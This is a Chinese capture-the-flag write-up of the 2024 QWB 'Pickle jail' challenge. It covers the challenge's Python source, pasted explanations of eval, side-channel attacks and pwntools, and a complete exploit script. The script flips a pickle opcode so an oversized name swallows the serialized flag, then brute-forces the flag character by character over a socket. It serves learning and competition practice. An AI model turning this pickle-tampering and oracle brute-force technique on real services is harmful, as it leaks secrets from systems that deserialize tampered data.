2024强网杯-Misc-Pickle jail

第一次遇到jail类型的题目,而且还是在大赛上,并且还是这么难的情况,努力理解复现吧。

附件😣😰🥹:

pickle_jail.py 的文件

#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time

from faker import Faker

Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()


def print(_):
    stdout.buffer.write(f"{_}\n".encode())
    stdout.buffer.flush()


def input(_=None, limit: int = -1):
    if _:
        print(_)
    _ = stdin.buffer.readline(limit)
    stdin.buffer.flush()
    return _


def bye(_):
    print(_)
    _exit(0)


players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()

assert name not in players, "You are already joined!"

print(f"Welcome {name}!")
players.append(name)

biox = BytesIO()
Pickler(biox).dump(
    (
        name,
        players,
        flag,
    )
)

data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF

del name, players, flag
biox.close()
stderr.close()

try:
    safe_dic = {
        "__builtins__": None,
        "n": BytesIO(data),
        "F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
    }
    name, players, _ = eval("F(n).load()", safe_dic, {})
    if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")
except Exception:
    print("What happened? IDK...")
finally:
    bye("Break this jail to get the flag!")

分析附件:

一上来这个代码就给我看懵了,对于python基本功不是很扎实的我,没看懂逻辑,一边拿ai一边分析。

记录几个点:

sys.stdout 和 sys.stdout.buffer

def print(_):
    stdout.buffer.write(f"{_}\n".encode())
    stdout.buffer.flush()

sys.stdout 和 sys.stdout.buffer 提供了两种不同层次的接口来与标准输出(通常是终端或命令行界面)进行交互:

  1. sys.stdout (文本模式) 类型:这是一个文本文件对象 (io.TextIOWrapper)。 用途:用于处理基于字符的输入输出操作。当你通过 print() 函数或者直接写入 sys.stdout 时,你实际上是在与这个文本文件对象打交道。 编码/解码:在写入数据时,Python 会根据指定的编码(默认为 UTF-8)自动将字符串转换为字节序列;读取数据时则相反,它会将字节序列解码回字符串。 换行符处理:文本模式下的文件对象还会处理换行符的转换。例如,在Windows平台上,\n 会被替换为 \r\n。 示例 import sys

写入文本到标准输出

sys.stdout.write(“Hello, world!\n”) 在这个例子中,“Hello, world!\n” 是一个字符串,它被发送到标准输出,并且 \n 被正确地解释为换行符。

  1. sys.stdout.buffer (二进制模式) 类型:这是一个二进制文件对象 (io.BufferedWriter)。 用途:允许你绕过 Python 的文本编码和解码机制,直接写入原始的字节数据。这对于需要精确控制输出格式或处理非文本数据的情况非常有用。 编码/解码:由于它是二进制模式,所以不会自动执行任何编码或解码操作。你需要自己负责确保写入的数据是以正确的格式表示的。 换行符处理:二进制模式不会对换行符做任何特殊处理,所有字节都会按原样写入。 示例 import sys

写入字节数据到标准输出

sys.stdout.buffer.write(b"Hello, world!\n") 这里,b"Hello, world!\n" 是一个字节串,它包含实际的字节值而不是字符。注意前缀 b 表示这是一个字节串,而不是普通的字符串。

总结 sys.stdout:适合于常规的文本输出,Python 会帮你处理编码和换行符等细节。 sys.stdout.buffer:适合于需要直接写入字节数据的场景,比如发送二进制数据或使用特定的编码方式而不依赖于Python的默认行为。 选择哪一个取决于你的具体需求。如果你只是想打印一些信息给用户看,通常使用 sys.stdout 或者更简单的 print() 函数就足够了。但如果你需要更细粒度的控制,比如实现自定义的日志记录格式、发送网络消息或者其他形式的二进制通信,则可能需要用到 sys.stdout.buffer。

data[num] += 1 data[num] %= 0xFF

  • data[num] += 1:将 data 中索引为 num 的字节增加1。
  • data[num] %= 0xFF:确保修改后的值仍然是一个有效的字节(0到255之间)。这是因为字节的最大值是255(即 0xFF),所以使用模运算 % 0xFF 来保证结果不超过这个范围。实际上,对于字节来说,通常使用 % 256 或者 % 0x100 更为准确,因为 % 0xFF 实际上是 % 255,这可能会导致不同的行为。

沙箱

safe_dic = { “builtins”: None, “n”: BytesIO(data), “F”: type(“f”, (Unpickler,), {“find_class”: lambda *_: “H4cker”}), }

_builtins__ 设置为 None 的意图是限制 eval() 或其他类似函数的执行环境,防止它们访问 Python 的内置函数(如 open, exec, eval 等),从而减少潜在的安全风险。

ambda *_: "H4cker" 中,*_ 的组合表示:

  • \*:收集所有位置参数并将其作为一个元组传递给函数体。这允许你创建一个能够接收任意数量参数的函数。
  • _:这是一个约定俗成的名字,用来表示“不关心”或“无用”的变量。它表明这些参数在这个上下文中不会被使用。

因此,*_ 意味着这个匿名函数可以接收任意数量的位置参数,但它们都将被忽略,因为函数体并不使用这些参数。

type("f", (Unpickler,), {...}):动态创建了一个名为 f 的新类,继承自 Unpickler

"find_class": lambda \*_: "H4cker":为新类添加了一个名为 find_class 的方法,该方法由一个匿名函数实现。这个匿名函数接受任意数量的位置参数(通过 *_),但总是返回字符串 "H4cker"

python中的eval()

eval(expression, globals=None, locals=None) 函数用于执行一个字符串表达式,并返回表达式的值。它接受三个参数:

expression:要执行的字符串表达式。

globals(可选):一个字典,表示全局命名空间。如果提供,它指定了可用的全局变量和函数。如果没有提供,则使用当前作用域的全局命名空间。

locals(可选):一个映射对象(通常是字典),表示局部命名空间。如果提供,它指定了可用的局部变量和函数。如果没有提供,则使用当前作用域的局部命名空间。

对应题目就是

"F(n).load()":这是要执行的字符串表达式,意图是调用自定义 Unpickler 类 F 的 load 方法来反序列化数据。

safe_dic:这是一个字典,作为全局命名空间传递给 eval()。safe_dic 包含了对内置函数和其他可能危险的功能的限制,意图是创建一个受限的执行环境。

{}:这是一个空字典,作为局部命名空间传递给 eval()。这意味着在执行表达式时,没有额外的局部变量或函数可以被访问。这进一步限制了表达式可以做的事情,因为它不能依赖于任何局部上下文。

name, players, _ = eval(“F(n).load()”, safe_dic, {})

这行代码试图从 eval() 的结果中解包三个值:name, players, 和 _

  • 潜在问题:
    • 如果 eval() 执行失败或返回的结果不符合预期(例如不是包含三个元素的可迭代对象),那么这里会抛出一个 ValueError
    • 使用 eval() 来执行不受信任的代码是非常危险的行为,可能会导致任意代码执行漏洞。

以上就是对附件的基本了解,说实话依旧没有任何思路

这里引用本题出题人师傅woodwhale的思路

解题思路

通过简单分析 pickle_jail.py 的源码,可以发现输入输出是使用 stdin.bufferstdout.buffer 完成的,这个 buffer 输入和输出都是用bytes类型的数据,题目的流程如下:

  1. 随机生成 50 个虚拟英文名称,并装入 players 数组中
  2. 让用户输入不超过 300 长度的 name,⚠️注意:类型是 bytes
  3. name 存入 players
  4. (name, players, flag) 这个三元组 pickle 序列化
  5. 有一次机会让数组序列化后的 bytearray 的指定下标的数值 +1
  6. Unpickler 反序列化之前的三元组,但是重写了 Unpickler.find_class
  7. 判断 if name in players

这题的预期解是侧信道,解法有两种,先给其中一种 exp 再做分析。

侧信道

第一次了解,这里粘贴一下ai的解释

侧信道攻击(Side-Channel Attack)是一种通过分析系统在运行过程中泄露的物理信息(如时间、功耗、电磁辐射等)来获取敏感信息的攻击方式。与传统的基于软件或协议漏洞的攻击不同,侧信道攻击利用的是系统的实现细节和物理特性。

侧信道攻击的基本概念

侧信道攻击的核心思想是,即使一个系统在逻辑上是安全的,其物理实现过程中的某些特征也可能泄露有价值的信息。攻击者通过仔细观察和分析这些特征,可以推断出系统内部的状态或秘密数据。常见的侧信道攻击类型包括:

  1. 时间分析:通过测量操作完成所需的时间来推断信息。例如,加密算法中不同的密钥可能需要不同的时间来处理,这可以用来推测密钥的一部分。
  2. 功率分析:通过监测设备在执行特定操作时的功耗变化来获取信息。例如,AES 加密的不同轮次可能会有不同的功耗模式,攻击者可以通过分析这些模式来恢复密钥。
  3. 电磁泄漏:通过捕捉设备在工作时发出的电磁辐射来获取信息。某些高频信号可以直接反映内部计算状态。
  4. 声学分析:通过监听设备发出的声音(如硬盘寻道声、键盘敲击声)来获取信息。
  5. 错误注入:通过引入硬件故障或异常情况(如电压波动、温度变化)来触发非预期行为,并从中获取信息。
  6. 缓存攻击:通过分析内存缓存的访问模式来获取信息。例如,Flushing and Reloading 攻击利用共享缓存来监视另一个进程的数据访问模式。

应用场景

侧信道攻击广泛应用于攻击各种加密系统、智能卡、嵌入式设备和其他涉及敏感数据处理的硬件。它们特别适用于那些看似逻辑上安全但物理实现存在弱点的系统。

示例

时间分析攻击 AES

假设你有一个 AES 加密系统,其中部分子程序的执行时间取决于密钥的具体值。攻击者可以通过多次测量加密操作所需的时间,并统计分析这些时间差异,最终推断出部分或全部密钥信息。

功率分析攻击 RSA

在 RSA 解密过程中,私钥的操作会导致功耗的变化。攻击者可以使用高精度的功耗测量工具,在解密过程中记录功耗曲线,然后通过相关性分析来恢复私钥。

如何防御侧信道攻击

  1. 物理隔离:确保敏感操作在一个完全受控且隔离的环境中进行,减少外部可探测的信息泄露。
  2. 恒定时间算法:设计和实现不依赖于秘密数据的执行路径长度的算法,使得每次执行的时间相同。
  3. 随机化:在加密操作中引入随机性,使得同样的输入每次产生不同的输出模式,从而混淆攻击者的分析。
  4. 屏蔽和过滤:对设备进行物理上的屏蔽,减少电磁泄漏;或者使用滤波器去除不必要的信号。
  5. 多层保护:结合多种防护措施,增加攻击难度。

结合你的代码情景

如果题目提到“预期解是侧信道”,那么很可能是在暗示你需要考虑代码执行过程中可能泄露的信息。例如:

  • 时间分析:如果你的代码在不同条件下执行的时间不同,攻击者可能通过测量这些时间差异来推断出一些秘密信息。
  • 缓存攻击:如果你的代码频繁访问某些特定内存位置,攻击者可能通过分析缓存命中或未命中的情况来获取信息。

为了防止这类攻击,你可以采取措施使代码的执行时间和内存访问模式尽可能一致,避免因为秘密数据的不同而导致的行为差异。

总之,侧信道攻击是一类复杂的攻击手段,它要求攻击者具备深入理解目标系统的物理特性和实现细节的能力。对于开发者来说,意识到潜在的侧信道风险并采取适当的防御措施是非常重要的。

exp:

一些给的题目给的信息

Python 3.10 的 alpine 镜像 + Faker 随机生成数据的一个库,并且为了减少爆破次数 flag 的格式也告诉了是 flag{UUID4}

UUID4 是一种基于随机数生成的通用唯一标识符(Universally Unique Identifier, UUID)。UUID 是一种128位的值,广泛用于为信息对象创建唯一的标识符。UUID4 特指使用随机数算法生成的 UUID,它是四种主要版本的 UUID 之一(其他版本包括时间戳、名称空间和散列等)。
一个 UUID 通常表示为由连字符分隔的32个十六进制数字:
	123e4567-e89b-12d3-a456-426614174000
	
这32个字符可以分为五个部分,格式如下:
xxxxxxxx-xxxx-Mxxx-xxxx-xxxxxxxxxxxx
其中 M 表示 UUID 的版本号,对于 UUID4 来说,这个位置固定为 4。

分析一下师傅给的exp

from string import ascii_lowercase, digits

from pwn import context, p32, process, remote

DEBUG = False
context.log_level = "debug" if DEBUG else "error"
HOST, PORT = "127.0.0.1", 5000

flag = "flag{"
str_set = "-" + ascii_lowercase + digits

while len(flag) != 41:
    print("flag:", flag)
    for i in str_set:
        print("try", i)
        io = (
            process("python3 ./pickle_jail.py", shell=True)
            if DEBUG
            else remote(HOST, PORT)
        )
        io.recvuntil(b"Play this game to get the flag with these players: ")
        players = io.recvline(keepends=False).strip().strip(b"!")
        players = eval(players.decode())

        tmp_flag = flag + i
        tmp_flag_len = len(tmp_flag)
        if tmp_flag_len == 10:  # 不可为 10 即 \n, 否则会被 input 截断
            tmp_flag = flag[1:] + i
            tmp_flag_len = len(tmp_flag)

        payload = b"C"
        payload += bytes([tmp_flag_len])
        payload += tmp_flag.encode()
        pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
        payload += b"B" + p32(pad)
        payload = payload.ljust(0x103, b"\xff")

        io.sendlineafter(b"What's your name?", payload)
        io.sendafter(b"win: ", bytes([11]))

        data = io.recvuntil(b"flag!")
        if b"joined" in data and tmp_flag.encode() in data:
            flag += i
            io.close()
            break
        io.close()


print(f"Flag is : {flag+'}'}")

认识一下pwn库

from pwn import context, p32, process, remote

pwn库

pwn 是一个强大的Python库,专门用于开发和执行渗透测试工具、编写漏洞利用代码(exploits)以及进行二进制安全研究。它提供了丰富的功能来简化与进程、网络连接、格式化字符串漏洞、缓冲区溢出等相关的操作。下面是对你提到的几个具体函数和模块的详细介绍:

context

context 模块用于设置和获取当前的上下文环境配置。这些配置可以影响 pwntools 中其他模块的行为,例如如何解释地址、使用哪种架构或操作系统等。

常用属性:
  • context.arch:指定目标程序的架构(如 i386, amd64, arm, aarch64 等)。
  • context.os:指定目标的操作系统(如 linux, windows 等)。
  • context.endian:指定字节序(如 little, big)。
  • context.bits:指定目标架构的位数(如 32, 64)。
  • context.log_level:控制日志输出的详细程度(如 debug, info, warn, error)。
示例:
from pwn import context

# 设置日志级别为 debug
context.log_level = 'debug'

# 设置目标架构为 64 位 Linux
context.update(arch='amd64', os='linux')
p32

p32 函数用于将一个整数转换为 32 位小端字节序的字节数组。这对于构建特定格式的有效载荷非常有用,尤其是在处理缓冲区溢出或其他低级漏洞时。

示例:
from pwn import p32

# 将整数 0xdeadbeef 转换为 32 位小端字节序
payload = p32(0xdeadbeef)
print(payload)  # 输出: b'\xef\xbe\xad\xde'
process

process 函数用于启动本地进程并与之交互。它可以方便地与命令行工具或自定义编写的程序进行通信,适用于开发和测试漏洞利用代码。

参数:
  • argv:要执行的命令及其参数,可以是字符串或列表。
  • shell=True/False:是否通过 shell 执行命令,默认为 False
  • env:传递给子进程的环境变量。
  • stdin, stdout, stderr:指定标准输入、输出和错误流。
示例:
from pwn import process

# 启动一个本地进程
p = process(['cat'])

# 发送数据到标准输入
p.sendline(b'Hello, world!')

# 接收并打印输出
print(p.recvline())  # 输出: b'Hello, world!\n'
remote

remote 函数用于创建一个到远程服务器的TCP连接,并提供类似文件对象的方法来进行读写操作。这在攻击远程服务或参与CTF竞赛时特别有用。

参数:
  • host:目标主机的IP地址或域名。
  • port:目标主机上的端口号。
  • ssl=True/False:是否使用SSL/TLS加密,默认为 False
  • timeout:连接超时时间。
示例:
from pwn import remote

# 连接到远程服务器
r = remote('example.com', 1234)

# 发送数据到服务器
r.sendline(b'GET / HTTP/1.1')

# 接收并打印响应
print(r.recvuntil(b'\r\n\r\n'))  # 输出: HTTP响应头

# 关闭连接
r.close()
总结
  • context:用于设置和获取当前上下文环境配置,影响其他模块的行为。
  • p32:将整数转换为 32 位小端字节序的字节数组,常用于构建有效载荷。
  • process:启动本地进程并与之交互,适用于开发和测试漏洞利用代码。
  • remote:创建一个到远程服务器的TCP连接,支持读写操作,常用于攻击远程服务或参与CTF竞赛。

这些工具共同构成了 pwntools 库的核心功能,使得开发者能够更高效地进行二进制安全研究和漏洞利用开发。

代码分析

str_set = “-” + ascii_lowercase + digits

字符集:str_set 包含所有可能的字符,包括连字符、小写字母和数字,用于尝试构建完整的标志。

while len(flag) != 41:

'flag{' 五个字符 + 32 + 4 =41

io.recvuntil(b"Play this game to get the flag with these players: “) players = io.recvline(keepends=False).strip().strip(b”!") players = eval(players.decode())

这段代码展示了如何通过网络或本地进程与一个服务进行交互,接收并处理特定格式的数据。

recvuntil() 方法:这个方法从 io 对象(可能是 process 或 remote 对象)中读取数据,直到遇到指定的字符串(这里是 b"Play this game to get the flag with these players: ")。它会返回所有接收到的数据,包括终止字符串。

作用:确保在发送有效载荷之前,已经收到了预期的提示信息。这有助于同步客户端和服务端之间的通信。
recvline() 方法:这个方法读取一行数据(以换行符 \n 结尾),并可以选择是否保留结尾的换行符。这里的 keepends=False 参数表示不保留换行符。

strip() 方法:去除字符串两端的空白字符(如空格、制表符等)。这里使用了两次 strip():
第一次去掉空白字符。
第二次去掉字符串两端的 ! 字符(假设服务端输出格式为 players: [list]!)。

作用:提取并清理玩家列表的字符串表示形式,以便后续处理。
decode() 方法:将字节串转换为字符串(默认使用 UTF-8 编码)。

eval() 函数:执行传入的字符串作为 Python 表达式,并返回表达式的值。在这里,eval() 用来解析并评估玩家列表的字符串表示形式,将其转换为实际的 Python 数据结构(如列表)。

作用:将字符串形式的玩家列表转换为 Python 的列表对象,方便后续逻辑操作。

if tmp_flag_len == 10: # 不可为 10 即 \n, 否则会被 input 截断 tmp_flag = flag[1:] + i tmp_flag_len = len(tmp_flag)

  1. 换行符的影响
    • 在许多操作系统中,换行符 \n 通常表示一个完整的输入行结束。如果 tmp_flag 的长度恰好为 10,并且服务端代码使用了 input() 或类似函数来读取输入,那么这个长度可能正好对应于一个换行符的位置。
为了避免上述问题,代码中采取了一种调整策略,当 tmp_flag 的长度为 10 时,去除第一个字符并添加当前尝试的字符 i

payload = b"C" payload += bytes([tmp_flag_len]) payload += tmp_flag.encode() pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len payload += b"B" + p32(pad) payload = payload.ljust(0x103, b"\xff")

  • 构建有效载荷:创建一个包含特定格式的数据包 payload,用于发送给服务端。
    • 开头用字符 C 标记。
    • 接着是 tmp_flag 的长度。
    • 然后是 tmp_flag 的编码形式。
    • 计算填充长度 pad 并将其添加到 payload 中。
    • 最后使用 \xff 字节填充至固定长度 0x103

细化

3 * len(players):每个玩家的名字可能需要额外的固定开销(例如,每个玩家名字前后的分隔符或其他结构化信息)。假设每个玩家名字前后各有一个字节的分隔符,那么总开销就是 3 * len(players)。

sum(map(len, players)):计算所有玩家名字的总长度。map(len, players) 对 players 列表中的每个元素调用 len() 函数,并返回一个迭代器,sum() 则对这些长度求和。

302:这是一个固定的偏移量或常数,可能是为了确保整个有效载荷达到某个特定的总长度。这个值的具体含义取决于服务端的实现细节,通常是为了对齐某些边界条件或满足特定协议要求。

- tmp_flag_len:减去 tmp_flag 的长度,以确保最终的 pad 值是剩余需要填充的字节数。

pad:最终计算出的填充长度。

p32(pad):将 pad 转换为 32 位小端字节序的字节数组。p32 是 pwntools 库中的一个函数,专门用于这种转换。这一步骤可能是为了告知服务端后续需要多少个填充字节。

ljust(0x103, b"\xff"):将 payload 左对齐并填充至长度为 0x103 字节,不足的部分用 \xff(即 255)填充。这样做是为了确保发送的数据包具有固定的长度,这对于某些协议或漏洞利用来说非常重要。

io.sendlineafter(b"What’s your name?", payload)

  • sendlineafter() 方法:这个方法用于在接收到指定提示信息后发送一行数据。它会等待直到遇到 b"What's your name?" 字符串,然后发送 payload 并自动添加换行符 \n

  • 作用:确保在正确的时间点发送有效载荷,避免因过早或过晚发送而导致通信不同步。

io.sendafter(b"win: “, bytes([11]))

  • sendafter() 方法:这个方法用于在接收到指定提示信息后立即发送数据,但不会自动添加换行符。
  • bytes([11]):发送一个包含单个字节 11 的字节数组。这可能是为了满足服务端某种特定的输入要求,例如确认某个状态或触发某些逻辑。
  • 作用:发送额外的数据以完成交互过程,确保所有必要的输入都已提供给服务端。

data = io.recvuntil(b"flag!”)

  • recvuntil() 方法:这个方法读取数据,直到遇到指定字符串(这里是 b"flag!"),并返回所有接收到的数据,包括终止字符串。
  • 作用:获取服务端的响应,特别是包含标志信息的部分,以便后续分析。

if b"joined" in data and tmp_flag.encode() in data:

​ flag += i

​ io.close()

​ break

  • 条件检查
    • b"joined" in data:检查服务端响应中是否包含字符串 joined,这可能表示玩家成功加入了游戏。
    • tmp_flag.encode() in data:检查服务端响应中是否包含当前猜测的 tmp_flag 字符串。通过编码为字节串来进行比较,确保与接收的数据格式一致。
  • 逻辑处理
    • 如果上述两个条件都满足,则认为当前猜测的字符是正确的,将其添加到 flag 中。
    • 关闭连接并跳出循环,继续尝试下一个字符。

io.close()

  • 关闭连接:无论是否成功找到正确的字符,都会关闭与服务端的连接,释放资源。

print(f"Flag is : {flag+’}’}")

  • 输出完整标志:当循环结束时,打印完整的标志字符串。这里假设标志的结尾是 },因此在最终输出时添加了一个右花括号。

细化思路

发送有效载荷:
首先等待服务端提示 What's your name?,然后发送精心构造的 payload。这一步是为了确保每次发送的有效载荷都在正确的上下文中被处理。

发送额外数据:
接着发送一个额外的字节 [11] 来完成交互。这可能是为了确认某种状态或触发服务端的下一步操作。

接收响应:
读取服务端的响应,直到遇到 flag! 提示。这样可以确保获取到包含标志信息的部分响应。

检查条件:
检查服务端响应中是否包含 joined 和当前猜测的 tmp_flag。如果两者都存在,则认为当前猜测的字符是正确的,更新 flag 并结束本轮尝试。

关闭连接:
不论是否找到正确的字符,都关闭与服务端的连接,确保资源得到及时释放。

输出结果:
当所有字符都被成功猜出后,打印完整的标志字符串。

整理:

​ 由附件可以知道无法引用python内置类进行rce之类的操作。然后回显点有print(name) ,而name又是可控的。所以关注点自然要放到利用name导出flag。

​ 这个data = bytearray(biox.getvalue()),包含name,players,flag 。而且players.append(name),players中有有name在结尾。

​ name, players, _ = eval(“F(n).load()”, safe_dic, {}),这里将反序列化的值,分别复制。很自然的就想到利用让flag出现在name中

data[num] += 1
data[num] %= 0xFF

这两个就是突破口。

这里需要知道个特性,也是其中一中解法的核心,也就是如何控制name的核心。

​ proto 是 4 的版本,其次这个SHORT_BINBYTES,查看 pickle 的源代码,在Protocol 3 的部分可以看到 C 的定义,小于 256 字节的 bytes 都是用 C 进行序列化的。形如:C\x03aaa(注意是b’aaa')

当大于256大于256字节将会是B进行序列化,而且长度识别是四个字节表示,形如:B\x00\x00\x00\x00 超过256字节的字节串

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

核心

​ B和C的ascii码就只相差1,结合附件的data[num] += 1,便可以实现B—>C的变化,从而引起,我们写的name长度远大于变化后能序列化的长度。也就造成了类似php反序列化逃逸的这种感觉。题目预期是我们输一个正常的name,然后C序列化,把这个名字加入players,然后判断name在不在players中,在就打印这个name并返回一个joined this game, but here is no flag! 。

​ 但是我们让题目本身C序列化变成B序列化,然后B序列化的长度识别是四个字节,而C序列化的长度识别是一个字节。可以让B序列化变成C序列化后,通过变化得来的C序列化,有四个字节(原B序列化长度识别位),自己用一个字节作为长度识别位,然后这个长度识别位刚好是\x03的话,后面的三给字节的数据就会被吃掉。剩下的就是我们B序列化留下的name的具体值,也就是正常题目预期的例如jack的这种名字。但是我们利用了B序列化,所以留下的是超过256个字节的我们提交的name值。

​ 也就是通过name值,构造payload。payload里面的大致思想就是Unpickler 反序列化之前的三元组,name, players, _ = eval(“F(n).load()”, safe_dic, {})。

以及这段代码:

if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")
        
//in 操作符会检查 name 是否作为子串存在于 players 中

​ 然后进行任意写入data,题目原B序列变C序列,序列化了一个无所谓的值。我们这里就要重新构造name.也就是原题目会有三给对象,而我们会多出一个那给被我们一开始废掉的序列化值(B变C的那个部分)。注意是从栈顶取。所以后面会有个无关紧要的报错就是stack不为空,留下的就是它。

​ 让name等于flag或flag的一部分(我们写脚本爆破),然后players中含有真正的flag{UUID4},这样通过捕获响应信息就知道是否name的flag值是对的。

测试

from pickletools import dis
data = bytearray(b'\x80\x04\x95\x14\x02\x00\x00\x00\x00\x00\x00C\x06messir\x94]\x94(C\x07Heather\x94C\x06Sharon\x94C\x06Hannah\x94C\x05Kelli\x94C\x06Teresa\x94C\x06Thomas\x94C\x08Veronica\x94C\x05Susan\x94C\x06Eileen\x94C\x07Kristin\x94C\x0bChristopher\x94C\x08Kristina\x94C\x08Michelle\x94C\x05Bryan\x94C\x05Jerry\x94C\x07Michael\x94C\x06Shelby\x94C\x07Tiffany\x94C\x05Erika\x94C\x06Robert\x94C\x08Courtney\x94C\x06Angela\x94C\x04Erin\x94C\x06Nicole\x94C\x07Jeffrey\x94C\x07Colleen\x94C\x07William\x94C\x06Deanna\x94C\x05James\x94C\x06Stacey\x94C\x05Terri\x94C\x05Sarah\x94C\x06Alicia\x94C\x05Maria\x94C\x06Rickey\x94C\x07Natalie\x94C\x07Richard\x94C\x07Garrett\x94C\x06Amanda\x94C\x05Jason\x94C\x05Tammy\x94C\x04Dana\x94C\x05Jamie\x94C\x04John\x94C\x06Brandi\x94C\tAlejandro\x94C\x08Danielle\x94C\tAlexandra\x94C\x08Brittany\x94C\x07Melissa\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
dis(data)

看一下pickle序列化字节串的反编译

直接用师傅原本的数据,只是将woodwhale改成messir,\t不变

┌──(rootkali)-[~/python]
└─# python pickle_jail.py

    0: \x80 PROTO      4
    2: \x95 FRAME      532
   11: C    SHORT_BINBYTES b'messir\x94]\x94' //关键位置
   22: (    MARK
   23: C        SHORT_BINBYTES b'Heather'
   32: \x94     MEMOIZE    (as 0)
   33: C        SHORT_BINBYTES b'Sharon'
   41: \x94     MEMOIZE    (as 1)
   42: C        SHORT_BINBYTES b'Hannah'
   50: \x94     MEMOIZE    (as 2)
   51: C        SHORT_BINBYTES b'Kelli'
   58: \x94     MEMOIZE    (as 3)
   59: C        SHORT_BINBYTES b'Teresa'
   67: \x94     MEMOIZE    (as 4)
   68: C        SHORT_BINBYTES b'Thomas'
   76: \x94     MEMOIZE    (as 5)
   77: C        SHORT_BINBYTES b'Veronica'
   87: \x94     MEMOIZE    (as 6)
   88: C        SHORT_BINBYTES b'Susan'
   95: \x94     MEMOIZE    (as 7)
   96: C        SHORT_BINBYTES b'Eileen'
  104: \x94     MEMOIZE    (as 8)
  105: C        SHORT_BINBYTES b'Kristin'
  114: \x94     MEMOIZE    (as 9)
  115: C        SHORT_BINBYTES b'Christopher'
  128: \x94     MEMOIZE    (as 10)
  129: C        SHORT_BINBYTES b'Kristina'
  139: \x94     MEMOIZE    (as 11)
  140: C        SHORT_BINBYTES b'Michelle'
  150: \x94     MEMOIZE    (as 12)
  151: C        SHORT_BINBYTES b'Bryan'
  158: \x94     MEMOIZE    (as 13)
  159: C        SHORT_BINBYTES b'Jerry'
  166: \x94     MEMOIZE    (as 14)
  167: C        SHORT_BINBYTES b'Michael'
  176: \x94     MEMOIZE    (as 15)
  177: C        SHORT_BINBYTES b'Shelby'
  185: \x94     MEMOIZE    (as 16)
  186: C        SHORT_BINBYTES b'Tiffany'
  195: \x94     MEMOIZE    (as 17)
  196: C        SHORT_BINBYTES b'Erika'
  203: \x94     MEMOIZE    (as 18)
  204: C        SHORT_BINBYTES b'Robert'
  212: \x94     MEMOIZE    (as 19)
  213: C        SHORT_BINBYTES b'Courtney'
  223: \x94     MEMOIZE    (as 20)
  224: C        SHORT_BINBYTES b'Angela'
  232: \x94     MEMOIZE    (as 21)
  233: C        SHORT_BINBYTES b'Erin'
  239: \x94     MEMOIZE    (as 22)
  240: C        SHORT_BINBYTES b'Nicole'
  248: \x94     MEMOIZE    (as 23)
  249: C        SHORT_BINBYTES b'Jeffrey'
  258: \x94     MEMOIZE    (as 24)
  259: C        SHORT_BINBYTES b'Colleen'
  268: \x94     MEMOIZE    (as 25)
  269: C        SHORT_BINBYTES b'William'
  278: \x94     MEMOIZE    (as 26)
  279: C        SHORT_BINBYTES b'Deanna'
  287: \x94     MEMOIZE    (as 27)
  288: C        SHORT_BINBYTES b'James'
  295: \x94     MEMOIZE    (as 28)
  296: C        SHORT_BINBYTES b'Stacey'
  304: \x94     MEMOIZE    (as 29)
  305: C        SHORT_BINBYTES b'Terri'
  312: \x94     MEMOIZE    (as 30)
  313: C        SHORT_BINBYTES b'Sarah'
  320: \x94     MEMOIZE    (as 31)
  321: C        SHORT_BINBYTES b'Alicia'
  329: \x94     MEMOIZE    (as 32)
  330: C        SHORT_BINBYTES b'Maria'
  337: \x94     MEMOIZE    (as 33)
  338: C        SHORT_BINBYTES b'Rickey'
  346: \x94     MEMOIZE    (as 34)
  347: C        SHORT_BINBYTES b'Natalie'
  356: \x94     MEMOIZE    (as 35)
  357: C        SHORT_BINBYTES b'Richard'
  366: \x94     MEMOIZE    (as 36)
  367: C        SHORT_BINBYTES b'Garrett'
  376: \x94     MEMOIZE    (as 37)
  377: C        SHORT_BINBYTES b'Amanda'
  385: \x94     MEMOIZE    (as 38)
  386: C        SHORT_BINBYTES b'Jason'
  393: \x94     MEMOIZE    (as 39)
  394: C        SHORT_BINBYTES b'Tammy'
  401: \x94     MEMOIZE    (as 40)
  402: C        SHORT_BINBYTES b'Dana'
  408: \x94     MEMOIZE    (as 41)
  409: C        SHORT_BINBYTES b'Jamie'
  416: \x94     MEMOIZE    (as 42)
  417: C        SHORT_BINBYTES b'John'
  423: \x94     MEMOIZE    (as 43)
  424: C        SHORT_BINBYTES b'Brandi'
  432: \x94     MEMOIZE    (as 44)
  433: C        SHORT_BINBYTES b'Alejandro'
  444: \x94     MEMOIZE    (as 45)
  445: C        SHORT_BINBYTES b'Danielle'
  455: \x94     MEMOIZE    (as 46)
  456: C        SHORT_BINBYTES b'Alexandra'
  467: \x94     MEMOIZE    (as 47)
  468: C        SHORT_BINBYTES b'Brittany'
  478: \x94     MEMOIZE    (as 48)
  479: C        SHORT_BINBYTES b'Melissa'
  488: \x94     MEMOIZE    (as 49)
  489: h        BINGET     0
  491: e        APPENDS    (MARK at 22)
  492: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
  536: \x94 MEMOIZE    (as 50)
  537: \x87 TUPLE3
Traceback (most recent call last):
  File "/root/python/pickle_jail.py", line 5, in <module>
    dis(data)
  File "/usr/lib/python3.11/pickletools.py", line 2535, in dis
    raise ValueError("tries to pop %d items from stack with "
ValueError: tries to pop 3 items from stack with only 2 items

这个下面的才是正确的序列化结果

修改\t为\x06

┌──(rootkali)-[~/python]
└─# python pickle_jail.py

    0: \x80 PROTO      4
    2: \x95 FRAME      532
   11: C    SHORT_BINBYTES b'messir'
   19: \x94 MEMOIZE    (as 0)
   20: ]    EMPTY_LIST
   21: \x94 MEMOIZE    (as 1)
   22: (    MARK
   23: C        SHORT_BINBYTES b'Heather'
   32: \x94     MEMOIZE    (as 2)
